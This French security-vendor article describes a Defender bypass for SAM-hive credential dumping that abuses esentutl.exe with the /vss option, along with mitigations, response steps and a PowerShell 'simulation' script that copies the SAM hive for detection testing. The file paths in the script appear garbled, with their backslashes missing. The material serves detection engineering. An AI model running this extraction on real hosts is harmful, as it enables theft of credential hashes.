SOC Prime Bias: Moyen

28 Apr 2026 15:51 UTC

Le Mois des Contournements : Ce que le Défenseur Manque

Author Photo
SOC Prime Team linkedin icon Suivre
Le Mois des Contournements : Ce que le Défenseur Manque
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

L’équipe Persistent Security décrit une nouvelle façon de contourner la détection pour la technique d’extraction d’identifiants T1003.002 en abusant de l’utilitaire Windows signé esentutl.exe. En utilisant des options liées à VSS, l’outil peut copier les SAM and ruche de registre SYSTEM sans déclencher Microsoft Defender de la même manière que les méthodes d’extraction plus courantes.

Enquête

Les chercheurs ont testé trois approches traditionnelles pour extraire les ruches, y compris reg save, vssadmin création de copies d’ombre, et copie directe de fichiers, et ont constaté que Defender les bloquait toutes. Ils ont alors utilisé des tests de variantes assistés par IA pour identifier une voie alternative : esentutl.exe pourrait accéder et extraire les ruches grâce à sa fonctionnalité VSS intégrée tout en évitant les détections existantes de Defender.

Atténuation

Les défenses recommandées incluent la restriction de esentutl.exe via AppLocker ou WDAC, la création de règles Sysmon pour détecter les exécutions d'esentutl qui utilisent l’option /vss et la surveillance des activités de copies d’ombre initiées en dehors du comportement normal du système. Les organisations devraient également déployer LAPS pour les comptes administrateurs locaux et désactiver VSS là où ce n’est pas opérationnellement nécessaire.

Réponse

If esentutl.exe est observé en cours d’exécution avec l’option /vss et écrit dans des fichiers associés à SAM or ruche de registre SYSTEM, les défenseurs devraient isoler l’hôte affecté, collecter des preuves de mémoire et de registre, confirmer si une extraction d’identifiants a eu lieu, et appliquer les contrôles de politique recommandés pour éviter la récurrence.

Flux d’Attaque

Exécution de Simulation

Prérequis : La Vérification Préliminaire de Télémétrie et de Ligne de Base doit être réussie.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et visent à générer exactement la télémétrie attendue par la logique de détection.

  • Récit et Commandes de l’Attaque :
    Un adversaire qui a obtenu une emprise sur un hôte Windows compromis souhaite récolter des hachages d’identifiants sans déclencher les outils d’extraction d’identifiants typiques qui sont généralement surveillés. L’attaquant utilise le binaire intégré esentutl.exe avec l’option /vss pour créer une copie d’ombre du volume système et extraire la ruche SAM protégée. Les étapes sont :

    1. Créer un répertoire temporaire pour l’exportation de l’instantané.
    2. Invoquer esentutl.exe avec les options /y (écraser) et /vss , en ciblant le chemin de la ruche SAM.
    3. Copier le fichier SAM exporté vers un emplacement sous le contrôle de l’attaquant.
    4. (Facultatif) Nettoyer le fichier d’instantané temporaire pour réduire l’empreinte légale.

    Cette séquence produit un événement Sysmon ProcessCreate où Image se termine par esentutl.exe and Ligne de Commande contient la chaîne /vss, satisfaisant la règle de détection.

  • Script de Test de Régression :

    # ----------------------------------------------
    # Simuler l'extraction de la ruche SAM basée sur VSS à l'aide d'esentutl
    # ----------------------------------------------
    $tempDir = "$env:TEMPVSS_Export"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # Chemin vers la ruche SAM (copie en lecture seule sera exportée)
    $samHive = "$env:SystemRootSystem32configSAM"
    $outputFile = Join-Path $tempDir "SAM_copy.edb"
    
    # Exécuter esentutl avec VSS pour exporter la ruche SAM
    $esentPath = "$env:SystemRootSystem32esentutl.exe"
    $arguments = "/y /vss `"$samHive`" `"$outputFile`""
    
    Write-Host "Exécution : $esentPath $arguments"
    & $esentPath $arguments
    
    # Vérifier que l'exportation a réussi
    if (Test-Path $outputFile) {
        Write-Host "Ruche SAM exportée vers $outputFile"
    } else {
        Write-Warning "Échec de l'exportation ou aucun fichier créé."
    }
    
    # Nettoyer le fichier d'instantané (facultatif, dépend du comportement de l'OS)
    # Note : Les fichiers d'instantané VSS sont généralement auto-supprimés après exportation.
  • Commandes de Nettoyage :

    # Supprimer le répertoire et les fichiers d'exportation temporaires
    $tempDir = "$env:TEMPVSS_Export"
    if (Test-Path $tempDir) {
        Remove-Item -Recurse -Force -Path $tempDir
        Write-Host "Nettoyage terminé : $tempDir supprimé."
    } else {
        Write-Host "Aucun nettoyage nécessaire; répertoire non trouvé."
    }